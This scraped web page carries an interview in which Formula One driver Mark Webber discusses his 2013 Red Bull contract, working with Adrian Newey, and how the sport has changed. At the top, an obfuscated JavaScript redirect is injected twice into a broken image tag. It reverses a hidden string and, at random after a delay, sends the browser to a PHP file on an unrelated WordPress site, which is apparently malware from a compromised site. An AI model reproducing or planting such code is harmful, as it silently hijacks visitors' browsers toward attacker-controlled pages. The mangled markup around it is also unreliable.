$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/11/Mark-Webber-Formula-One-Abi-Dhabi-008.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/11/Mark-Webber-Formula-One-Abi-Dhabi-008.jpg” alt=”” width=”728″ height=”546″ />
You’ve recently signed a new deal with Red Bull amid mounting speculation that you could join Ferrari. What was the principal reason for the deal?
“What I had on the table, I had by far the best situation I could be in. And I believe that’s right. I have an incredibly motivated team here, and we’ve just come off the back of some incredible results. Seb could be going for a third world title, which would be incredible. Only the third driver ever I believe after Juan Manual Fangio and Michael [Schumacher]. So that’s going some!
“But obviously working with Adrian Newey is a big thing. Adrian is very rewarding to work with, also I have a great desire to still get some very special results for myself, and that’s something I’m looking forward to.”
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Considering the Red Bull deal is so far just for 2013, have you cast your eyes forward to 2014 yet?
“When you’re at this level and banging out podiums and challenging for wins and getting wins, it’s very hard to leave the sport, so we’ll see where we are next year.”
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You are one of only two drivers to have competed as both a Jaguar F1 and Red Bull Racing driver [the other being Christian Klien]. How do the two iterations compare?
“It’s a completely different team now. The departments are a lot more organised, more structured. [There’s] a lot more funding, and funding makes that organisation. Funding is a huge part of it. And then there’s stability. You have people who know their roles. You just win time by that. If you have key staff changing positions, you lose a lot of time just in the way people think.”
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How do you think the sport has changed since you made your debut at the 2002 Australian Grand Prix with Minardi?
“A lot! I think when I first started there was a lot more testing, and there was a lot more money around. Teams used to test during the week, and it was always really busy. The budgets were a lot higher than they are now. Now it’s more cost effective, if that’s possible! It’s more efficient, so using the same engine or gearbox for three races or whatever…these [regulations] were never around. And no warm-up. Sunday mornings I used to drive, and now we don’t even do that.”
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How difficult is to react to an ever-changing sport?
“As a professional, you always have to adapt to changes. It’s like a golfer who uses different clubs, or a tennis player with different rackets. Our sport is constantly evolving, and the tools that we use are constantly changing too. And it’s the driver’s job to understand the situation and know how to get the best out of it. If you don’t, you improvise or you die.”
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Is it a case of playing the cards you’re dealt then?
“Yes, and using those to your strength. After all, the rules are always changing!”